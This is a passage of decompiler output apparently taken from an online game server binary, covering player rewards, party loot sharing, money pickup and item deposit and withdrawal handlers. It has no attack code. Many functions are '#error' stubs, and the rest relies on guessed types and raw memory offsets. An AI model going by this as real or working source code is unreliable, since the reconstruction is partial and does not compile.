= "ShineObjectClass::ShinePlayer::sp_KQReward"; LABEL_6: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v26); __security_check_cookie(v32); } //----- (004DBF90) -------------------------------------------------------- #error "4DBF90: undefined or illegal type '#331' (funcsize=74)" //----- (004DC0A0) -------------------------------------------------------- #error "4DC0A0: undefined or illegal type '#331' (funcsize=60)" //----- (004DC180) -------------------------------------------------------- #error "4DC180: undefined or illegal type '#331' (funcsize=74)" //----- (004DC290) -------------------------------------------------------- #error "4DC290: undefined or illegal type '#331' (funcsize=60)" //----- (004DC370) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (004DC3C0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, ItemOperateElement *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0x78u); return 1; } // 4DC3D5: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004DC3F0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004DC510) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_KQRewardStruct(void *this, int kqe) { void *v2; // esi@1 int v3; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_KQRewardStruct"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_KQRewardStruct"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (int)KQRewardDataBox::operator__(&kqreward, *(_WORD *)(kqe + 79)); if ( v3 ) ShineObjectClass::ShinePlayer::sp_KQReward(v2, v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_KQRewardStruct"); } //----- (004DC5C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_KQRewardIndex(void *this, char *idx) { void *v2; // esi@1 int v3; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_KQRewardIndex"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_KQRewardIndex"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (int)KQRewardDataBox::operator__(&kqreward, idx); if ( v3 ) ShineObjectClass::ShinePlayer::sp_KQReward(v2, v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_KQRewardIndex"); } //----- (004DC670) -------------------------------------------------------- int __thiscall ItemOperateList::ItemOperateList(int this) { int v1; // esi@1 signed int v2; // edx@1 signed int v3; // eax@1 int v4; // edi@1 signed int v5; // ebx@1 int v6; // ecx@3 int v7; // ebp@3 int v8; // ecx@3 int v9; // ecx@6 int v10; // ebp@6 int v11; // ecx@6 int v12; // ecx@9 int v13; // ebp@9 int v14; // ecx@9 int v15; // ecx@12 int v16; // ebp@12 int v17; // ecx@12 int v18; // ecx@15 int v19; // ebp@15 int v20; // ecx@15 v1 = this; *(_DWORD *)this = List::_vftable_; *(_DWORD *)(this + 16) = 0; List::l_MakeList((List *)this, 0x28u); *(_DWORD *)v1 = List::_vftable_; _eh_vector_constructor_iterator_( (void *)(v1 + 24), 0x78u, 40, (void (__thiscall *)(void *))MoveManager::MoveManager, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v2 = 2; v3 = 36; v4 = v1 + 144; v5 = 8; do { if ( v2 - 2 < *(_WORD *)(v1 + 4) ) { v6 = *(_DWORD *)(v1 + 8); v7 = *(_DWORD *)(v6 + v3 - 36); v8 = v6 + v3 - 36; if ( !v7 ) *(_DWORD *)v8 = v4 - 120; } if ( v2 - 1 < *(_WORD *)(v1 + 4) ) { v9 = *(_DWORD *)(v1 + 8); v10 = *(_DWORD *)(v9 + v3 - 24); v11 = v9 + v3 - 24; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < *(_WORD *)(v1 + 4) ) { v12 = *(_DWORD *)(v1 + 8); v13 = *(_DWORD *)(v12 + v3 - 12); v14 = v12 + v3 - 12; if ( !v13 ) *(_DWORD *)v14 = v4 + 120; } if ( v2 + 1 < *(_WORD *)(v1 + 4) ) { v15 = *(_DWORD *)(v1 + 8); v16 = *(_DWORD *)(v15 + v3); v17 = v3 + v15; if ( !v16 ) *(_DWORD *)v17 = v4 + 240; } if ( v2 + 2 < *(_WORD *)(v1 + 4) ) { v18 = *(_DWORD *)(v1 + 8); v19 = *(_DWORD *)(v18 + v3 + 12); v20 = v18 + v3 + 12; if ( !v19 ) *(_DWORD *)v20 = v4 + 360; } v3 += 60; v2 += 5; v4 += 600; --v5; } while ( v5 ); return v1; } // 5BC750: using guessed type int (__stdcall *List_ItemOperateElement____vftable_[3])(__int16 hnd); //----- (004DC7A0) -------------------------------------------------------- #error "4DC7A0: undefined or illegal type '#440' (funcsize=182)" //----- (004DCA20) -------------------------------------------------------- #error "4DCA20: undefined or illegal type '#440' (funcsize=127)" //----- (004DCBE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_partyitemdistribute(#331 *this, ItemTotalInformation *a2, unsigned __int16 itemonfield) { int v3; // ebx@1 int v4; // eax@1 signed int v5; // edi@1 int v6; // esi@1 unsigned __int16 v7; // bp@1 int v8; // eax@2 int v9; // esi@2 int v10; // edx@4 int v11; // edx@9 int v12; // edi@9 signed int v13; // esi@11 char *v14; // eax@17 int v15; // eax@19 unsigned int nearpartymember; // [sp+10h] [bp-34h]@1 unsigned int lastpicktime; // [sp+14h] [bp-30h]@1 int v18; // [sp+18h] [bp-2Ch]@1 char *v19; // [sp+1Ch] [bp-28h]@1 int v20[5]; // [sp+24h] [bp-20h]@2 int v21; // [sp+40h] [bp-4h]@1 int itemhandle; // [sp+50h] [bp+Ch]@0 v3 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_partyitemdistribute"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_partyitemdistribute"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)v3; v5 = 0; v6 = 0; v21 = 0; v18 = 0; lastpicktime = clockwatch.cw_CurrTick; nearpartymember = 0; v7 = (*(int (__thiscall **)(int))(v4 + 1336))(v3); v19 = (char *)&partycontainer + 168 * v7; if ( *v19 ) { do { v20[v5] = 0; v8 = (int)PartyManufacture::pm_FindMember(&partymanufacture, v7, v5); v9 = v8; if ( v8 ) { if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v3, v8) <= 0xF4240 ) { ++nearpartymember; v10 = *(_DWORD *)v9; v20[v5] = v9; if ( lastpicktime > (*(int (__thiscall **)(int))(v10 + 1032))(v9) ) { v18 = v9; lastpicktime = (*(int (__thiscall **)(int))(*(_DWORD *)v9 + 1032))(v9); } } } ++v5; } while ( v5 < (unsigned __int8)*v19 ); v6 = v18; } if ( *(_WORD *)(itemonfield + 8) == unk_12510DB4 ) { v11 = *(_DWORD *)(itemonfield + 10) % nearpartymember; v12 = *(_DWORD *)(itemonfield + 10) / nearpartymember; if ( !v12 ) v12 = 1; v13 = 0; do { (*(void (__fastcall **)(int, int, int))(*(_DWORD *)v20[v13] + 1848))(v20[v13], v11, v12); ++v13; } while ( v13 < 5 ); (*(void (**)(void))(*(_DWORD *)&a2->iti_registnum.binary.gap0[0] + 1332))(); } else { if ( v6 ) { if ( *(_WORD *)(v6 + 4) != *(_WORD *)(v3 + 4) ) { v14 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12315; *((_WORD *)v14 + 1) = *(_WORD *)(itemonfield + 8); *((_WORD *)v14 + 2) = *(_WORD *)(v6 + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v15 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v15 + 12))(v15, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_partyitemdistribute : Packet Too Long", 6); } } (*(void (__thiscall **)(int, ItemTotalInformation *, _DWORD, int))(*(_DWORD *)v6 + 1856))( v6, a2, itemonfield, itemhandle); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_partyitemdistribute : Null picker", 0); } } --funcallanalizer.fca_stackpoint; v21 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_partyitemdistribute"); } // 4DCBE0: inconsistent function type and number of purged bytes // 4DCBE0: using guessed type int var_20[5]; //----- (004DCDF0) -------------------------------------------------------- #error "4DCDF0: undefined or illegal type '#331' (funcsize=335)" //----- (004DD260) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_PickupMoney(void *this, unsigned int money) { void *v2; // esi@1 __int16 v3; // dx@1 char *v4; // edi@1 ZoneBaseSession *v5; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_PickupMoney"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_PickupMoney"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_WORD *)v2 + 2); *(_QWORD *)((char *)v2 + 32108) += money; v4 = gpp.pp_Buffer; *((_WORD *)gpp.pp_Buffer + 1) = v3; *((_DWORD *)v4 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_WORD *)v4 = 13368; *((_DWORD *)v4 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *((_DWORD *)v4 + 3) = -1; *((_DWORD *)v4 + 4) = -1; *((_DWORD *)v4 + 5) = money; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 24) ) { v5 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v5); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_PickupMoney : Packet Too Long", 24); } (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1076))(v2); (*(void (__thiscall **)(char *, signed int))(*((_DWORD *)v2 + 14442) + 20))((char *)v2 + 57768, 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_PickupMoney"); } //----- (004DD3A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_IncDecMoney(void *this, unsigned int money, char Positive) { void *v3; // esi@1 unsigned int v4; // ecx@1 unsigned int v5; // edx@1 int v6; // edx@2 int v7; // ecx@2 unsigned __int64 v8; // kr10_8@2 unsigned __int64 v9; // kr18_8@3 __int16 v10; // dx@4 char *v11; // edi@4 ZoneBaseSession *v12; // eax@6 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_IncDecMoney"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_IncDecMoney"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *((_DWORD *)v3 + 8028); v5 = *((_DWORD *)v3 + 8027); if ( Positive ) { v8 = money + __PAIR__(v4, v5); v7 = v8 >> 32; v6 = v8; } else { v9 = __PAIR__(v4, v5) - money; v7 = v9 >> 32; v6 = v9; } *((_DWORD *)v3 + 8027) = v6; v10 = *((_WORD *)v3 + 2); *((_DWORD *)v3 + 8028) = v7; v11 = gpp.pp_Buffer; *((_WORD *)gpp.pp_Buffer + 1) = v10; *((_DWORD *)v11 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *(_WORD *)v11 = 13434; *((_DWORD *)v11 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *((_DWORD *)v11 + 3) = money; v11[16] = Positive; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 17) ) { v12 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v12); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_IncDecMoney : Packet Too Long", 17); } (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 1076))(v3); (*(void (__thiscall **)(char *, signed int))(*((_DWORD *)v3 + 14442) + 20))((char *)v3 + 57768, 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_IncDecMoney"); } //----- (004DDC50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_itempickresult(void *this, __int16 error, __int16 handle) { void *v3; // esi@1 char *v4; // eax@1 int v5; // eax@2 __int16 v6; // dx@3 int v7; // eax@7 __int16 arg; // [sp+8h] [bp-114h]@3 __int16 v9; // [sp+Ah] [bp-112h]@3 unsigned int v10; // [sp+10Ch] [bp-10h]@8 int v11; // [sp+118h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_itempickresult"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_itempickresult"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12298; v11 = 0; *((_WORD *)v4 + 5) = handle; if ( error == 833 ) { *((_WORD *)v4 + 1) = *((_WORD *)v3 + 44494); *((_DWORD *)v4 + 1) = *((_DWORD *)v3 + 22248); *((_WORD *)v4 + 4) = 833; v5 = *(_DWORD *)((char *)v3 + 98); if ( v5 ) { v6 = *((_WORD *)v3 + 44494); v9 = *((_WORD *)v3 + 2); arg = v6; Movie::CinemaComplex::cc_ScriptInterrupt( *(Movie::CinemaComplex **)(v5 + 68), ScriptInterrupt::ScriptInterruptManager::sim_PickUpItem, (ScriptInterrupt::InterruptHappenArgument *)&arg); } } else { *((_WORD *)v4 + 1) = -1; *((_DWORD *)v4 + 1) = 0; *((_WORD *)v4 + 4) = error; } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v3, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_itempickresult : Packet Too Long", 12); } --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_itempickresult"); __security_check_cookie(v10); } //----- (004DE090) -------------------------------------------------------- void __thiscall ItemLotInspector::ili_Set(ItemLotInspector *this, int action, unsigned __int16 itemid) { char *v3; // eax@1 v3 = &this->gap4[248 * this->ili_ArrayPointer.value]; this->ili_Action = action; *(_DWORD *)v3 = action; *((_WORD *)v3 + 2) = itemid; } //----- (004DE0C0) -------------------------------------------------------- void __thiscall ItemLotInspector::ili_SetFrom(ItemLotInspector *this, int sub, ITEM_INVEN *fromloc, SHINE_ITEM_STRUCT *itemstruct) { char *v4; // eax@1 v4 = &this->gap4[248 * this->ili_ArrayPointer.value] + 106 * sub; v4[6] = 1; memcpy(v4 + 9, itemstruct, 0x67u); *(_WORD *)(v4 + 7) = fromloc->Inven; } //----- (004DE100) -------------------------------------------------------- void __thiscall ItemLotInspector::ili_SetTo(ItemLotInspector *this, int sub, ITEM_INVEN *toloc) { char *v3; // eax@1 v3 = &this->gap4[248 * this->ili_ArrayPointer.value]; v3[8 * sub + 220] = 1; *(_WORD *)&v3[8 * sub + 221] = toloc->Inven; } //----- (004DE130) -------------------------------------------------------- #error "4DE130: undefined or illegal type '#331' (funcsize=16)" //----- (004DE170) -------------------------------------------------------- char __thiscall ItemDataBox::idb_NoTrade(ItemDataBox *this, unsigned __int16 item) { ItemInfo *v2; // eax@2 char result; // al@3 if ( item < this->idb_maxItemhandle && (v2 = this->idb_index[item].data) != 0 ) result = v2->NoTrade; else result = 1; return result; } //----- (004DE1A0) -------------------------------------------------------- char __thiscall ItemDataBox::idb_NoStorageItem(ItemDataBox *this, unsigned __int16 item) { ItemInfo *v2; // eax@2 char result; // al@3 if ( item < this->idb_maxItemhandle && (v2 = this->idb_index[item].data) != 0 ) result = v2->NoStorage; else result = 1; return result; } //----- (004DE1D0) -------------------------------------------------------- char __thiscall ItemDataBox::idb_BelongedItem(ItemDataBox *this, unsigned __int16 item) { ItemInfo *v2; // eax@2 char result; // al@3 if ( item < this->idb_maxItemhandle && (v2 = this->idb_index[item].data) != 0 ) result = v2->Belonged; else result = 1; return result; } //----- (004DE200) -------------------------------------------------------- CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetItemID(ChargedItemEffectDataBox *this, unsigned __int16 itemid) { int v2; // edx@1 int v3; // eax@1 CIDEB_Element *v4; // esi@2 CIDEB_Element *v5; // ecx@2 CIDEB_Element *result; // eax@5 v2 = this->cideb_Total; v3 = 0; if ( v2 <= 0 ) { LABEL_5: result = 0; } else { v4 = this->cideb_Array; v5 = this->cideb_Array; while ( v5->ce_ItemID != itemid ) { ++v3; ++v5; if ( v3 >= v2 ) goto LABEL_5; } result = &v4[v3]; } return result; } //----- (004DE240) -------------------------------------------------------- CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetItemID(ChargedItemEffectDataBox *this, unsigned __int16 itemid) { int v2; // edx@1 int v3; // eax@1 CIDEB_Element *v4; // esi@2 CIDEB_Element *v5; // ecx@2 CIDEB_Element *result; // eax@5 v2 = this->cideb_Total; v3 = 0; if ( v2 <= 0 ) { LABEL_5: result = 0; } else { v4 = this->cideb_Array; v5 = this->cideb_Array; while ( v5->ce_ItemID != itemid ) { ++v3; ++v5; if ( v3 >= v2 ) goto LABEL_5; } result = &v4[v3]; } return result; } //----- (004DE280) -------------------------------------------------------- #error "4DE280: undefined or illegal type '#331' (funcsize=324)" //----- (004DE700) -------------------------------------------------------- #error "4DE700: undefined or illegal type '#440' (funcsize=341)" //----- (004DEBE0) -------------------------------------------------------- #error "4DEBE0: undefined or illegal type '#440' (funcsize=329)" //----- (004DF0B0) -------------------------------------------------------- #error "4DF0B0: undefined or illegal type '#440' (funcsize=399)" //----- (004DF640) -------------------------------------------------------- #error "4DF640: undefined or illegal type '#331' (funcsize=94)" //----- (004DF7A0) -------------------------------------------------------- #error "4DF7A0: undefined or illegal type '#331' (funcsize=74)" //----- (004DF8C0) -------------------------------------------------------- #error "4DF8C0: undefined or illegal type '#331' (funcsize=94)" //----- (004DFA20) -------------------------------------------------------- #error "4DFA20: undefined or illegal type '#331' (funcsize=74)" //----- (004DFB40) -------------------------------------------------------- #error "4DFB40: undefined or illegal type '#331' (funcsize=139)" //----- (004DFD20) -------------------------------------------------------- #error "4DFD20: undefined or illegal type '#331' (funcsize=74)" //----- (004DFE40) -------------------------------------------------------- #error "4DFE40: undefined or illegal type '#331' (funcsize=160)" //----- (004E0060) -------------------------------------------------------- #error "4E0060: undefined or illegal type '#331' (funcsize=72)" //----- (004E0160) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 unsigned __int64 v5; // qax@8 int v6; // edx@9 int v7; // edi@12 int v8; // eax@12 char *v9; // edi@12 ZoneBaseSession *v10; // eax@14 int v11; // eax@15 char *v12; // [sp-4h] [bp-24h]@5 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S9_35 & 1) ) { _S9_35 |= 1u; cmc_63.cmc_AllowMode = 70; atexit(_E10_23); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_63.cmc_AllowMode && !(unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14442) + 16))((char *)v4 + 57768) ) { if ( *((_BYTE *)v4 + 23324) & 0x10 ) { LODWORD(v5) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1056))(v4); if ( *(_QWORD *)(netcmd + 2) > v5 ) { *(_DWORD *)(netcmd + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1056))(v4); *(_DWORD *)(netcmd + 6) = v6; } if ( *(_QWORD *)(netcmd + 2) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v7 + 56))( v7, *(_WORD *)(v8 + 4), *(_DWORD *)(netcmd + 2), *(_DWORD *)(netcmd + 6), -1); v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13407; *((_DWORD *)v9 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v9 + 1) = *((_WORD *)v4 + 2); *(_DWORD *)(v9 + 10) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 840))(v4); *(_DWORD *)(v9 + 14) = *(_DWORD *)(netcmd + 2); *(_DWORD *)(v9 + 18) = *(_DWORD *)(netcmd + 6); *((_WORD *)v9 + 4) = *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4) + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 22) ) { v10 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v10); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ : Packet Too Long", 22); } v11 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); ++*(_WORD *)(v11 + 4); v12 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ"; } else { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 29, 3971); v12 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ"; } } else { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 29, 3970); v12 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ"; } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 29, 3969); v12 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v12); } //----- (004E0390) -------------------------------------------------------- #error "4E0390: undefined or illegal type '#331' (funcsize=56)" //----- (004E0470) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_DepositAck(void *this, int deposit) { void *v2; // esi@1 int v3; // edx@1 int v4; // eax@2 int v5; // ST04_4@3 DebugLogging *v6; // eax@3 DebugLogging *v7; // eax@3 int v8; // eax@5 char *v9; // eax@6 int v10; // eax@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_DepositAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_DepositAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; if ( *(_WORD *)(deposit + 16) == 3968 ) { v4 = (*(int (__thiscall **)(void *))(v3 + 1916))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v4 + 24))( v4, v2, *(_WORD *)(deposit + 6), 0) ) { v5 = *(_WORD *)(deposit + 6); v6 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_DepositAck : "); v7 = DebugLogging::operator<<(v6, v5); DebugLogging::operator<<(v7, &deb_LF); } *((_DWORD *)v2 + 17360) = *(_DWORD *)(deposit + 8); *((_DWORD *)v2 + 17361) = *(_DWORD *)(deposit + 12); } else { v8 = (*(int (__thiscall **)(void *))(v3 + 1916))(v2); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v8 + 32))(v8, *(_WORD *)(deposit + 6)); } v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12317; *(_DWORD *)(v9 + 2) = *((_DWORD *)v2 + 17360); *(_DWORD *)(v9 + 6) = *((_DWORD *)v2 + 17361); *((_WORD *)v9 + 5) = *(_WORD *)(deposit + 16); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_DepositAck : Packet Too Long", 12); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_DepositAck"); } //----- (004E05E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 unsigned int v5; // eax@9 unsigned int v6; // ecx@9 int v7; // edi@13 int v8; // eax@13 char *v9; // edi@13 ZoneBaseSession *v10; // eax@15 int v11; // eax@16 char *v12; // [sp-8h] [bp-24h]@12 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S11_7 & 1) ) { _S11_7 |= 1u; cmc_64.cmc_AllowMode = 70; atexit(_E12_6); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_64.cmc_AllowMode) || (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14442) + 16))((char *)v4 + 57768) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 31, 3969); LABEL_8: --funcallanalizer.fca_stackpoint; 